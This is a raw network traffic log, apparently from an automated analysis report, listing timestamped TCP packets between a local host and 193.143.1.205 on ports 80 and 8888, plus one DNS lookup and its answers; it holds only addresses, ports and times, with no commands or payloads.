Jan 10, 2025 16:25:25.264185905 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.264187098 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.264199018 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.264209986 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.264220953 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.264238119 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.264252901 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.264319897 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.264331102 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.264342070 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.264360905 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.264373064 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.264384985 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.264394999 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.264405966 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.264416933 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.264417887 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.264446020 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.264461994 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.264539957 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.264553070 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.264564037 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.264595032 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.264601946 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.264612913 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.264624119 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.264635086 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.264648914 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.264648914 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.264659882 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.264667034 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.264669895 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.264682055 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.264683962 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.264694929 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.264705896 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.264712095 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.264717102 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.264738083 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.264745951 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.264754057 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.264756918 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.264767885 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.264790058 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.265028954 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.265049934 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.265070915 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.265078068 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.265090942 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.265130997 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.265136003 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.265142918 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.265156031 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.265168905 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.265171051 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.265180111 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.265191078 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.265197039 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.265224934 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.265758038 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.265789032 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.265799046 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.265805006 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.265826941 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.265836000 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.265849113 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.265858889 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.265872002 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.265882969 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.265892982 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.265893936 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.265903950 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.265918970 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.265938044 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.292618990 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.292630911 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.292640924 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.292654037 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.292678118 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.292692900 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.292720079 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.292727947 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.292730093 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.292795897 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.292815924 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.292825937 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.292826891 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.292870998 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.295908928 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.295919895 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.295929909 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.295948029 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.295958996 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.295969963 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.295980930 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.296246052 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.324126005 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.324140072 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.324158907 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.324171066 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.324182987 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.324183941 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.324193954 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.324204922 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.324219942 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.324235916 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.324238062 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.354043007 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.354099035 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.354145050 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.354157925 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.354168892 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.354186058 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.354195118 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.354197979 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.354208946 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.354223967 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.354228020 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.354234934 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.354245901 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.354249954 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.354253054 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.354259014 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.354269028 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.354286909 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.354293108 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.354300022 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.354317904 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.354326963 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.354340076 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.354351044 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.354378939 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.354417086 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.354429007 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.354439974 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.354451895 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.354469061 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.354480982 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.354485989 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.354492903 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.354511023 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.354521990 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.354533911 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.354535103 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.354543924 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.354551077 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.354561090 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.354562998 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.354569912 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.354574919 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.354583979 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.354635954 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.354733944 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.354746103 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.354756117 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.354784012 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.354787111 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.354795933 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.354799032 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.354806900 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.354824066 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.354827881 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.354835987 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.354846954 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.354857922 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.354870081 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.354901075 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.355012894 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.355024099 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.355034113 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.355056047 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.355060101 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.355070114 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.355078936 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.355081081 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.355093956 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.355102062 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.355128050 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.355216980 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.355228901 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.355240107 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.355251074 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.355262041 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.355262041 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.355268002 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.355273008 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.355319977 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.355362892 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.355382919 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.355395079 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.355405092 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.355429888 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.355437994 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.355483055 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.355494022 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.355504036 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.355523109 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.355524063 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.355535030 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.355545044 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.355546951 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.355562925 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.355573893 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.355578899 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.355586052 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.355596066 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.355607986 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.355624914 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.356803894 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.356820107 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.356832027 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.356852055 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.356854916 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.356863976 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.356874943 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.356884003 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.356887102 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.356899023 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.356905937 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.356920004 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.356931925 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.356931925 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.356937885 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.356947899 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.356959105 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.356966972 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.356983900 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.356996059 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.357006073 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.357017994 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.357028961 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.357039928 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.357049942 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.357054949 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.357060909 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.357074022 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.357074976 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.357105970 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.383678913 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.383707047 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.383724928 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.383734941 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.383770943 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.383781910 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.383788109 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.383793116 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.383802891 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.383815050 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.383830070 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.383837938 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.386755943 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.386770964 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.386781931 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.386801004 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.386822939 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.388689995 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.388704062 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.388715982 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.388739109 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.394031048 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.398835897 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.398853064 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.398921967 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.406894922 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.415055990 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.415112972 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.415129900 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.415141106 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.415150881 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.415162086 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.415178061 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.415183067 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.415189028 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.415199041 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.415200949 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.415227890 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.415237904 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.415344954 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.444863081 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.444874048 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.444885969 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.444902897 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.444912910 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.444924116 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.444933891 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.444960117 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.444971085 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.444972992 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.444984913 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.445008039 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.445020914 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.445064068 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.445102930 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.445113897 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.445123911 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.445136070 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.445144892 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.445147038 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.445168018 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.445169926 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.445179939 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.445197105 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.445208073 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.445209026 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.445221901 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.445231915 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.445261002 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.445290089 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.445357084 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.445368052 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.445378065 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.445389032 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.445399046 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.445429087 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.445437908 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.445450068 CET	80	49763	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:25.445499897 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.667382956 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:25.789226055 CET	49763	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:26.333000898 CET	49779	8888	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:26.338607073 CET	8888	49779	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:26.338696003 CET	49779	8888	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:26.338979959 CET	49779	8888	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:26.343789101 CET	8888	49779	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:27.293229103 CET	8888	49779	193.143.1.205	192.168.2.9
Jan 10, 2025 16:25:27.336420059 CET	49779	8888	192.168.2.9	193.143.1.205
Jan 10, 2025 16:25:27.586044073 CET	49779	8888	192.168.2.9	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 16:25:34.169258118 CET	64564	53	192.168.2.9	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 16:25:34.169258118 CET	192.168.2.9	1.1.1.1	0xcbcb	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 10, 2025 16:25:34.176745892 CET	1.1.1.1	192.168.2.9	0xcbcb	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 16:25:34.922084093 CET	1.1.1.1	192.168.2.9	0xa559	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 16:25:34.922084093 CET	1.1.1.1	192.168.2.9	0xa559	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

